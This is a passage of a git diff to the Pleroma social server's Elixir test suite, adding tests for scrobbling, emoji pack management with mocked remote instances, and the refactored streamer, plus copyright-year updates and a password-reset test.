-0,0 +1,63 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do +  use Pleroma.Web.ConnCase + +  alias Pleroma.Web.CommonAPI +  import Pleroma.Factory + +  describe "POST /api/v1/pleroma/scrobble" do +    test "works correctly", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/pleroma/scrobble", %{ +          "title" => "lain radio episode 1", +          "artist" => "lain", +          "album" => "lain radio", +          "length" => "180000" +        }) + +      assert %{"title" => "lain radio episode 1"} = json_response(conn, 200) +    end +  end + +  describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do +    test "works correctly", %{conn: conn} do +      user = insert(:user) + +      {:ok, _activity} = +        CommonAPI.listen(user, %{ +          "title" => "lain radio episode 1", +          "artist" => "lain", +          "album" => "lain radio" +        }) + +      {:ok, _activity} = +        CommonAPI.listen(user, %{ +          "title" => "lain radio episode 2", +          "artist" => "lain", +          "album" => "lain radio" +        }) + +      {:ok, _activity} = +        CommonAPI.listen(user, %{ +          "title" => "lain radio episode 3", +          "artist" => "lain", +          "album" => "lain radio" +        }) + +      conn = +        conn +        |> get("/api/v1/pleroma/accounts/#{user.id}/scrobbles") + +      result = json_response(conn, 200) + +      assert length(result) == 3 +    end +  end +end diff --git a/test/web/pleroma_api/emoji_api_controller_test.exs b/test/web/pleroma_api/emoji_api_controller_test.exs new file mode 100644 index 000000000..93a507a01 --- /dev/null +++ b/test/web/pleroma_api/emoji_api_controller_test.exs @@ -0,0 +1,459 @@ +defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do +  use Pleroma.Web.ConnCase + +  import Tesla.Mock + +  import Pleroma.Factory + +  @emoji_dir_path Path.join( +                    Pleroma.Config.get!([:instance, :static_dir]), +                    "emoji" +                  ) + +  test "shared & non-shared pack information in list_packs is ok" do +    conn = build_conn() +    resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + +    assert Map.has_key?(resp, "test_pack") + +    pack = resp["test_pack"] + +    assert Map.has_key?(pack["pack"], "download-sha256") +    assert pack["pack"]["can-download"] + +    assert pack["files"] == %{"blank" => "blank.png"} + +    # Non-shared pack + +    assert Map.has_key?(resp, "test_pack_nonshared") + +    pack = resp["test_pack_nonshared"] + +    refute pack["pack"]["shared"] +    refute pack["pack"]["can-download"] +  end + +  test "listing remote packs" do +    admin = insert(:user, info: %{is_admin: true}) +    conn = build_conn() |> assign(:user, admin) + +    resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + +    mock(fn +      %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> +        json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + +      %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> +        json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + +      %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} -> +        json(resp) +    end) + +    assert conn +           |> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"}) +           |> json_response(200) == resp +  end + +  test "downloading a shared pack from download_shared" do +    conn = build_conn() + +    resp = +      conn +      |> get(emoji_api_path(conn, :download_shared, "test_pack")) +      |> response(200) + +    {:ok, arch} = :zip.unzip(resp, [:memory]) + +    assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end) +    assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end) +  end + +  test "downloading shared & unshared packs from another instance via download_from, deleting them" do +    on_exit(fn -> +      File.rm_rf!("#{@emoji_dir_path}/test_pack2") +      File.rm_rf!("#{@emoji_dir_path}/test_pack_nonshared2") +    end) + +    mock(fn +      %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> +        json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]}) + +      %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} -> +        json(%{metadata: %{features: []}}) + +      %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> +        json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + +      %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> +        json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + +      %{ +        method: :get, +        url: "https://example.com/api/pleroma/emoji/packs/list" +      } -> +        conn = build_conn() + +        conn +        |> get(emoji_api_path(conn, :list_packs)) +        |> json_response(200) +        |> json() + +      %{ +        method: :get, +        url: "https://example.com/api/pleroma/emoji/packs/download_shared/test_pack" +      } -> +        conn = build_conn() + +        conn +        |> get(emoji_api_path(conn, :download_shared, "test_pack")) +        |> response(200) +        |> text() + +      %{ +        method: :get, +        url: "https://nonshared-pack" +      } -> +        text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip")) +    end) + +    admin = insert(:user, info: %{is_admin: true}) + +    conn = build_conn() |> assign(:user, admin) + +    assert (conn +            |> put_req_header("content-type", "application/json") +            |> post( +              emoji_api_path( +                conn, +                :download_from +              ), +              %{ +                instance_address: "https://old-instance", +                pack_name: "test_pack", +                as: "test_pack2" +              } +              |> Jason.encode!() +            ) +            |> json_response(500))["error"] =~ "does not support" + +    assert conn +           |> put_req_header("content-type", "application/json") +           |> post( +             emoji_api_path( +               conn, +               :download_from +             ), +             %{ +               instance_address: "https://example.com", +               pack_name: "test_pack", +               as: "test_pack2" +             } +             |> Jason.encode!() +           ) +           |> json_response(200) == "ok" + +    assert File.exists?("#{@emoji_dir_path}/test_pack2/pack.json") +    assert File.exists?("#{@emoji_dir_path}/test_pack2/blank.png") + +    assert conn +           |> delete(emoji_api_path(conn, :delete, "test_pack2")) +           |> json_response(200) == "ok" + +    refute File.exists?("#{@emoji_dir_path}/test_pack2") + +    # non-shared, downloaded from the fallback URL + +    conn = build_conn() |> assign(:user, admin) + +    assert conn +           |> put_req_header("content-type", "application/json") +           |> post( +             emoji_api_path( +               conn, +               :download_from +             ), +             %{ +               instance_address: "https://example.com", +               pack_name: "test_pack_nonshared", +               as: "test_pack_nonshared2" +             } +             |> Jason.encode!() +           ) +           |> json_response(200) == "ok" + +    assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/pack.json") +    assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/blank.png") + +    assert conn +           |> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2")) +           |> json_response(200) == "ok" + +    refute File.exists?("#{@emoji_dir_path}/test_pack_nonshared2") +  end + +  describe "updating pack metadata" do +    setup do +      pack_file = "#{@emoji_dir_path}/test_pack/pack.json" +      original_content = File.read!(pack_file) + +      on_exit(fn -> +        File.write!(pack_file, original_content) +      end) + +      {:ok, +       admin: insert(:user, info: %{is_admin: true}), +       pack_file: pack_file, +       new_data: %{ +         "license" => "Test license changed", +         "homepage" => "https://pleroma.social", +         "description" => "Test description", +         "share-files" => false +       }} +    end + +    test "for a pack without a fallback source", ctx do +      conn = build_conn() + +      assert conn +             |> assign(:user, ctx[:admin]) +             |> post( +               emoji_api_path(conn, :update_metadata, "test_pack"), +               %{ +                 "new_data" => ctx[:new_data] +               } +             ) +             |> json_response(200) == ctx[:new_data] + +      assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data] +    end + +    test "for a pack with a fallback source", ctx do +      mock(fn +        %{ +          method: :get, +          url: "https://nonshared-pack" +        } -> +          text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip")) +      end) + +      new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") + +      new_data_with_sha = +        Map.put( +          new_data, +          "fallback-src-sha256", +          "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF" +        ) + +      conn = build_conn() + +      assert conn +             |> assign(:user, ctx[:admin]) +             |> post( +               emoji_api_path(conn, :update_metadata, "test_pack"), +               %{ +                 "new_data" => new_data +               } +             ) +             |> json_response(200) == new_data_with_sha + +      assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha +    end + +    test "when the fallback source doesn't have all the files", ctx do +      mock(fn +        %{ +          method: :get, +          url: "https://nonshared-pack" +        } -> +          {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory]) +          text(empty_arch) +      end) + +      new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") + +      conn = build_conn() + +      assert (conn +              |> assign(:user, ctx[:admin]) +              |> post( +                emoji_api_path(conn, :update_metadata, "test_pack"), +                %{ +                  "new_data" => new_data +                } +              ) +              |> json_response(:bad_request))["error"] =~ "does not have all" +    end +  end + +  test "updating pack files" do +    pack_file = "#{@emoji_dir_path}/test_pack/pack.json" +    original_content = File.read!(pack_file) + +    on_exit(fn -> +      File.write!(pack_file, original_content) + +      File.rm_rf!("#{@emoji_dir_path}/test_pack/blank_url.png") +      File.rm_rf!("#{@emoji_dir_path}/test_pack/dir") +      File.rm_rf!("#{@emoji_dir_path}/test_pack/dir_2") +    end) + +    admin = insert(:user, info: %{is_admin: true}) + +    conn = build_conn() + +    same_name = %{ +      "action" => "add", +      "shortcode" => "blank", +      "filename" => "dir/blank.png", +      "file" => %Plug.Upload{ +        filename: "blank.png", +        path: "#{@emoji_dir_path}/test_pack/blank.png" +      } +    } + +    different_name = %{same_name | "shortcode" => "blank_2"} + +    conn = conn |> assign(:user, admin) + +    assert (conn +            |> post(emoji_api_path(conn, :update_file, "test_pack"), same_name) +            |> json_response(:conflict))["error"] =~ "already exists" + +    assert conn +           |> post(emoji_api_path(conn, :update_file, "test_pack"), different_name) +           |> json_response(200) == %{"blank" => "blank.png", "blank_2" => "dir/blank.png"} + +    assert File.exists?("#{@emoji_dir_path}/test_pack/dir/blank.png") + +    assert conn +           |> post(emoji_api_path(conn, :update_file, "test_pack"), %{ +             "action" => "update", +             "shortcode" => "blank_2", +             "new_shortcode" => "blank_3", +             "new_filename" => "dir_2/blank_3.png" +           }) +           |> json_response(200) == %{"blank" => "blank.png", "blank_3" => "dir_2/blank_3.png"} + +    refute File.exists?("#{@emoji_dir_path}/test_pack/dir/") +    assert File.exists?("#{@emoji_dir_path}/test_pack/dir_2/blank_3.png") + +    assert conn +           |> post(emoji_api_path(conn, :update_file, "test_pack"), %{ +             "action" => "remove", +             "shortcode" => "blank_3" +           }) +           |> json_response(200) == %{"blank" => "blank.png"} + +    refute File.exists?("#{@emoji_dir_path}/test_pack/dir_2/") + +    mock(fn +      %{ +        method: :get, +        url: "https://test-blank/blank_url.png" +      } -> +        text(File.read!("#{@emoji_dir_path}/test_pack/blank.png")) +    end) + +    # The name should be inferred from the URL ending +    from_url = %{ +      "action" => "add", +      "shortcode" => "blank_url", +      "file" => "https://test-blank/blank_url.png" +    } + +    assert conn +           |> post(emoji_api_path(conn, :update_file, "test_pack"), from_url) +           |> json_response(200) == %{ +             "blank" => "blank.png", +             "blank_url" => "blank_url.png" +           } + +    assert File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png") + +    assert conn +           |> post(emoji_api_path(conn, :update_file, "test_pack"), %{ +             "action" => "remove", +             "shortcode" => "blank_url" +           }) +           |> json_response(200) == %{"blank" => "blank.png"} + +    refute File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png") +  end + +  test "creating and deleting a pack" do +    on_exit(fn -> +      File.rm_rf!("#{@emoji_dir_path}/test_created") +    end) + +    admin = insert(:user, info: %{is_admin: true}) + +    conn = build_conn() |> assign(:user, admin) + +    assert conn +           |> put_req_header("content-type", "application/json") +           |> put( +             emoji_api_path( +               conn, +               :create, +               "test_created" +             ) +           ) +           |> json_response(200) == "ok" + +    assert File.exists?("#{@emoji_dir_path}/test_created/pack.json") + +    assert Jason.decode!(File.read!("#{@emoji_dir_path}/test_created/pack.json")) == %{ +             "pack" => %{}, +             "files" => %{} +           } + +    assert conn +           |> delete(emoji_api_path(conn, :delete, "test_created")) +           |> json_response(200) == "ok" + +    refute File.exists?("#{@emoji_dir_path}/test_created/pack.json") +  end + +  test "filesystem import" do +    on_exit(fn -> +      File.rm!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt") +      File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json") +    end) + +    conn = build_conn() +    resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + +    refute Map.has_key?(resp, "test_pack_for_import") + +    admin = insert(:user, info: %{is_admin: true}) + +    assert conn +           |> assign(:user, admin) +           |> post(emoji_api_path(conn, :import_from_fs)) +           |> json_response(200) == ["test_pack_for_import"] + +    resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) +    assert resp["test_pack_for_import"]["files"] == %{"blank" => "blank.png"} + +    File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json") +    refute File.exists?("#{@emoji_dir_path}/test_pack_for_import/pack.json") + +    emoji_txt_content = "blank, blank.png, Fun\n\nblank2, blank.png" + +    File.write!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt", emoji_txt_content) + +    assert conn +           |> assign(:user, admin) +           |> post(emoji_api_path(conn, :import_from_fs)) +           |> json_response(200) == ["test_pack_for_import"] + +    resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + +    assert resp["test_pack_for_import"]["files"] == %{ +             "blank" => "blank.png", +             "blank2" => "blank.png" +           } +  end +end diff --git a/test/web/plugs/federating_plug_test.exs b/test/web/plugs/federating_plug_test.exs index bb2e1687a..9dcab93da 100644 --- a/test/web/plugs/federating_plug_test.exs +++ b/test/web/plugs/federating_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.FederatingPlugTest do diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs index e2f89f40a..2f6ce4bd2 100644 --- a/test/web/push/impl_test.exs +++ b/test/web/push/impl_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.Push.ImplTest do diff --git a/test/web/retry_queue_test.exs b/test/web/retry_queue_test.exs deleted file mode 100644 index ecb3ce5d0..000000000 --- a/test/web/retry_queue_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule MockActivityPub do -  def publish_one({ret, waiter}) do -    send(waiter, :complete) -    {ret, "success"} -  end -end - -defmodule Pleroma.Web.Federator.RetryQueueTest do -  use Pleroma.DataCase -  alias Pleroma.Web.Federator.RetryQueue - -  @small_retry_count 0 -  @hopeless_retry_count 10 - -  setup do -    RetryQueue.reset_stats() -  end - -  test "RetryQueue responds to stats request" do -    assert %{delivered: 0, dropped: 0} == RetryQueue.get_stats() -  end - -  test "failed posts are retried" do -    {:retry, _timeout} = RetryQueue.get_retry_params(@small_retry_count) - -    wait_task = -      Task.async(fn -> -        receive do -          :complete -> :ok -        end -      end) - -    RetryQueue.enqueue({:ok, wait_task.pid}, MockActivityPub, @small_retry_count) -    Task.await(wait_task) -    assert %{delivered: 1, dropped: 0} == RetryQueue.get_stats() -  end - -  test "posts that have been tried too many times are dropped" do -    {:drop, _timeout} = RetryQueue.get_retry_params(@hopeless_retry_count) - -    RetryQueue.enqueue({:ok, nil}, MockActivityPub, @hopeless_retry_count) -    assert %{delivered: 0, dropped: 1} == RetryQueue.get_stats() -  end -end diff --git a/test/web/salmon/salmon_test.exs b/test/web/salmon/salmon_test.exs index e86e76fe9..153ec41ac 100644 --- a/test/web/salmon/salmon_test.exs +++ b/test/web/salmon/salmon_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.Salmon.SalmonTest do @@ -96,6 +96,6 @@ defmodule Pleroma.Web.Salmon.SalmonTest do      Salmon.publish(user, activity) -    assert called(Publisher.enqueue_one(Salmon, %{recipient: mentioned_user})) +    assert called(Publisher.enqueue_one(Salmon, %{recipient_id: mentioned_user.id}))    end  end diff --git a/test/web/streamer/ping_test.exs b/test/web/streamer/ping_test.exs new file mode 100644 index 000000000..3d52c00e4 --- /dev/null +++ b/test/web/streamer/ping_test.exs @@ -0,0 +1,36 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PingTest do +  use Pleroma.DataCase + +  import Pleroma.Factory +  alias Pleroma.Web.Streamer + +  setup do +    start_supervised({Streamer.supervisor(), [ping_interval: 30]}) + +    :ok +  end + +  describe "sockets" do +    setup do +      user = insert(:user) +      {:ok, %{user: user}} +    end + +    test "it sends pings", %{user: user} do +      task = +        Task.async(fn -> +          assert_receive {:text, received_event}, 40 +          assert_receive {:text, received_event}, 40 +          assert_receive {:text, received_event}, 40 +        end) + +      Streamer.add_socket("public", %{transport_pid: task.pid, assigns: %{user: user}}) + +      Task.await(task) +    end +  end +end diff --git a/test/web/streamer/state_test.exs b/test/web/streamer/state_test.exs new file mode 100644 index 000000000..d1aeac541 --- /dev/null +++ b/test/web/streamer/state_test.exs @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.StateTest do +  use Pleroma.DataCase + +  import Pleroma.Factory +  alias Pleroma.Web.Streamer +  alias Pleroma.Web.Streamer.StreamerSocket + +  @moduletag needs_streamer: true + +  describe "sockets" do +    setup do +      user = insert(:user) +      user2 = insert(:user) +      {:ok, %{user: user, user2: user2}} +    end + +    test "it can add a socket", %{user: user} do +      Streamer.add_socket("public", %{transport_pid: 1, assigns: %{user: user}}) + +      assert(%{"public" => [%StreamerSocket{transport_pid: 1}]} = Streamer.get_sockets()) +    end + +    test "it can add multiple sockets per user", %{user: user} do +      Streamer.add_socket("public", %{transport_pid: 1, assigns: %{user: user}}) +      Streamer.add_socket("public", %{transport_pid: 2, assigns: %{user: user}}) + +      assert( +        %{ +          "public" => [ +            %StreamerSocket{transport_pid: 2}, +            %StreamerSocket{transport_pid: 1} +          ] +        } = Streamer.get_sockets() +      ) +    end + +    test "it will not add a duplicate socket", %{user: user} do +      Streamer.add_socket("activity", %{transport_pid: 1, assigns: %{user: user}}) +      Streamer.add_socket("activity", %{transport_pid: 1, assigns: %{user: user}}) + +      assert( +        %{ +          "activity" => [ +            %StreamerSocket{transport_pid: 1} +          ] +        } = Streamer.get_sockets() +      ) +    end +  end +end diff --git a/test/web/streamer_test.exs b/test/web/streamer/streamer_test.exs index 96fa7645f..b8fcd41fa 100644 --- a/test/web/streamer_test.exs +++ b/test/web/streamer/streamer_test.exs @@ -1,28 +1,24 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.StreamerTest do    use Pleroma.DataCase +  import Pleroma.Factory +    alias Pleroma.List    alias Pleroma.User    alias Pleroma.Web.CommonAPI    alias Pleroma.Web.Streamer -  import Pleroma.Factory +  alias Pleroma.Web.Streamer.StreamerSocket +  alias Pleroma.Web.Streamer.Worker +  @moduletag needs_streamer: true    clear_config_all([:instance, :skip_thread_containment])    describe "user streams" do      setup do -      GenServer.start(Streamer, %{}, name: Streamer) - -      on_exit(fn -> -        if pid = Process.whereis(Streamer) do -          Process.exit(pid, :kill) -        end -      end) -        user = insert(:user)        notify = insert(:notification, user: user, activity: build(:note_activity))        {:ok, %{user: user, notify: notify}} @@ -125,11 +121,9 @@ defmodule Pleroma.Web.StreamerTest do          assert_receive {:text, _}, 4_000        end) -    fake_socket = %{ +    fake_socket = %StreamerSocket{        transport_pid: task.pid, -      assigns: %{ -        user: user -      } +      user: user      }      {:ok, activity} = CommonAPI.post(other_user, %{"status" => "Test"}) @@ -138,7 +132,7 @@ defmodule Pleroma.Web.StreamerTest do        "public" => [fake_socket]      } -    Streamer.push_to_socket(topics, "public", activity) +    Worker.push_to_socket(topics, "public", activity)      Task.await(task) @@ -155,11 +149,9 @@ defmodule Pleroma.Web.StreamerTest do          assert received_event == expected_event        end) -    fake_socket = %{ +    fake_socket = %StreamerSocket{        transport_pid: task.pid, -      assigns: %{ -        user: user -      } +      user: user      }      {:ok, activity} = CommonAPI.delete(activity.id, other_user) @@ -168,7 +160,7 @@ defmodule Pleroma.Web.StreamerTest do        "public" => [fake_socket]      } -    Streamer.push_to_socket(topics, "public", activity) +    Worker.push_to_socket(topics, "public", activity)      Task.await(task)    end @@ -189,9 +181,9 @@ defmodule Pleroma.Web.StreamerTest do          )        task = Task.async(fn -> refute_receive {:text, _}, 1_000 end) -      fake_socket = %{transport_pid: task.pid, assigns: %{user: user}} +      fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}        topics = %{"public" => [fake_socket]} -      Streamer.push_to_socket(topics, "public", activity) +      Worker.push_to_socket(topics, "public", activity)        Task.await(task)      end @@ -211,9 +203,9 @@ defmodule Pleroma.Web.StreamerTest do          )        task = Task.async(fn -> assert_receive {:text, _}, 1_000 end) -      fake_socket = %{transport_pid: task.pid, assigns: %{user: user}} +      fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}        topics = %{"public" => [fake_socket]} -      Streamer.push_to_socket(topics, "public", activity) +      Worker.push_to_socket(topics, "public", activity)        Task.await(task)      end @@ -233,9 +225,9 @@ defmodule Pleroma.Web.StreamerTest do          )        task = Task.async(fn -> assert_receive {:text, _}, 1_000 end) -      fake_socket = %{transport_pid: task.pid, assigns: %{user: user}} +      fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}        topics = %{"public" => [fake_socket]} -      Streamer.push_to_socket(topics, "public", activity) +      Worker.push_to_socket(topics, "public", activity)        Task.await(task)      end @@ -251,11 +243,9 @@ defmodule Pleroma.Web.StreamerTest do          refute_receive {:text, _}, 1_000        end) -    fake_socket = %{ +    fake_socket = %StreamerSocket{        transport_pid: task.pid, -      assigns: %{ -        user: user -      } +      user: user      }      {:ok, activity} = CommonAPI.post(blocked_user, %{"status" => "Test"}) @@ -264,7 +254,7 @@ defmodule Pleroma.Web.StreamerTest do        "public" => [fake_socket]      } -    Streamer.push_to_socket(topics, "public", activity) +    Worker.push_to_socket(topics, "public", activity)      Task.await(task)    end @@ -284,11 +274,9 @@ defmodule Pleroma.Web.StreamerTest do          refute_receive {:text, _}, 1_000        end) -    fake_socket = %{ +    fake_socket = %StreamerSocket{        transport_pid: task.pid, -      assigns: %{ -        user: user_a -      } +      user: user_a      }      {:ok, activity} = @@ -301,7 +289,7 @@ defmodule Pleroma.Web.StreamerTest do        "list:#{list.id}" => [fake_socket]      } -    Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics) +    Worker.handle_call({:stream, "list", activity}, self(), topics)      Task.await(task)    end @@ -318,11 +306,9 @@ defmodule Pleroma.Web.StreamerTest do          refute_receive {:text, _}, 1_000        end) -    fake_socket = %{ +    fake_socket = %StreamerSocket{        transport_pid: task.pid, -      assigns: %{ -        user: user_a -      } +      user: user_a      }      {:ok, activity} = @@ -335,12 +321,12 @@ defmodule Pleroma.Web.StreamerTest do        "list:#{list.id}" => [fake_socket]      } -    Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics) +    Worker.handle_call({:stream, "list", activity}, self(), topics)      Task.await(task)    end -  test "it send wanted private posts to list" do +  test "it sends wanted private posts to list" do      user_a = insert(:user)      user_b = insert(:user) @@ -354,11 +340,9 @@ defmodule Pleroma.Web.StreamerTest do          assert_receive {:text, _}, 1_000        end) -    fake_socket = %{ +    fake_socket = %StreamerSocket{        transport_pid: task.pid, -      assigns: %{ -        user: user_a -      } +      user: user_a      }      {:ok, activity} = @@ -367,11 +351,12 @@ defmodule Pleroma.Web.StreamerTest do          "visibility" => "private"        }) -    topics = %{ -      "list:#{list.id}" => [fake_socket] -    } +    Streamer.add_socket( +      "list:#{list.id}", +      fake_socket +    ) -    Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics) +    Worker.handle_call({:stream, "list", activity}, self(), %{})      Task.await(task)    end @@ -387,11 +372,9 @@ defmodule Pleroma.Web.StreamerTest do          refute_receive {:text, _}, 1_000        end) -    fake_socket = %{ +    fake_socket = %StreamerSocket{        transport_pid: task.pid, -      assigns: %{ -        user: user1 -      } +      user: user1      }      {:ok, create_activity} = CommonAPI.post(user3, %{"status" => "I'm kawen"}) @@ -401,7 +384,7 @@ defmodule Pleroma.Web.StreamerTest do        "public" => [fake_socket]      } -    Streamer.push_to_socket(topics, "public", announce_activity) +    Worker.push_to_socket(topics, "public", announce_activity)      Task.await(task)    end @@ -417,6 +400,8 @@ defmodule Pleroma.Web.StreamerTest do      task = Task.async(fn -> refute_receive {:text, _}, 4_000 end) +    Process.sleep(4000) +      Streamer.add_socket(        "user",        %{transport_pid: task.pid, assigns: %{user: user2}} @@ -428,14 +413,6 @@ defmodule Pleroma.Web.StreamerTest do    describe "direct streams" do      setup do -      GenServer.start(Streamer, %{}, name: Streamer) - -      on_exit(fn -> -        if pid = Process.whereis(Streamer) do -          Process.exit(pid, :kill) -        end -      end) -        :ok      end @@ -480,6 +457,8 @@ defmodule Pleroma.Web.StreamerTest do            refute_receive {:text, _}, 4_000          end) +      Process.sleep(1000) +        Streamer.add_socket(          "direct",          %{transport_pid: task.pid, assigns: %{user: user}} @@ -521,6 +500,8 @@ defmodule Pleroma.Web.StreamerTest do            assert last_status["id"] == to_string(create_activity.id)          end) +      Process.sleep(1000) +        Streamer.add_socket(          "direct",          %{transport_pid: task.pid, assigns: %{user: user}} diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs index 3a7246ea8..dc6d4e3e3 100644 --- a/test/web/twitter_api/password_controller_test.exs +++ b/test/web/twitter_api/password_controller_test.exs @@ -6,6 +6,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do    use Pleroma.Web.ConnCase    alias Pleroma.PasswordResetToken +  alias Pleroma.User    alias Pleroma.Web.OAuth.Token    import Pleroma.Factory @@ -56,5 +57,25 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do        assert Comeonin.Pbkdf2.checkpw("test", user.password_hash)        assert length(Token.get_user_tokens(user)) == 0      end + +    test "it sets password_reset_pending to false", %{conn: conn} do +      user = insert(:user, info: %{password_reset_pending: true}) + +      {:ok, token} = PasswordResetToken.create_token(user) +      {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{}) + +      params = %{ +        "password" => "test", +        password_confirmation: "test", +        token: token.token +      } + +      conn +      |> assign(:user, user) +      |> post("/api/pleroma/password_reset", %{data: params}) +      |> html_response(:ok) + +      assert User.get_by_id(user.id).info.password_reset_pending == false +    end    end  end diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs index c5b18234e..bf1e233f5 100644 --- a/test/web/twitter_api/twitter_api_test.exs +++ b/test/web/twitter_api/twitter_api_test.exs @@ -1,10 +1,11 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do    use Pleroma.DataCase    alias Pleroma.Repo +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.UserInviteToken    alias Pleroma.Web.MastodonAPI.AccountView @@ -68,6 +69,7 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do      }      {:ok, user} = TwitterAPI.register_user(data) +    ObanHelpers.perform_all()      assert user.info.confirmation_pending @@ -107,7 +109,9 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do      {:ok, user2} = TwitterAPI.register_user(data2)      expected_text = -      "<span class='h-card'><a data-user='#{user1.id}' class='u-url mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test" +      ~s(<span class="h-card"><a data-user="#{user1.id}" class="u-url mention" href="#{ +        user1.ap_id +      }" rel="ugc">@<span>john</span></a></span> test)      assert user2.bio == expected_text    end diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs index a3c6145c0..56e318182 100644 --- a/test/web/twitter_api/util_controller_test.exs +++ b/test/web/twitter_api/util_controller_test.exs @@ -4,10 +4,13 @@  defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do    use Pleroma.Web.ConnCase +  use Oban.Testing, repo: Pleroma.Repo    alias Pleroma.Repo +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.Web.CommonAPI +  import ExUnit.CaptureLog    import Pleroma.Factory    import Mock @@ -42,8 +45,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do          {File, [],           read!: fn "follow_list.txt" ->             "Account address,Show boosts\n#{user2.ap_id},true" -         end}, -        {PleromaJobQueue, [:passthrough], []} +         end}        ]) do          response =            conn @@ -51,15 +53,16 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do            |> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: 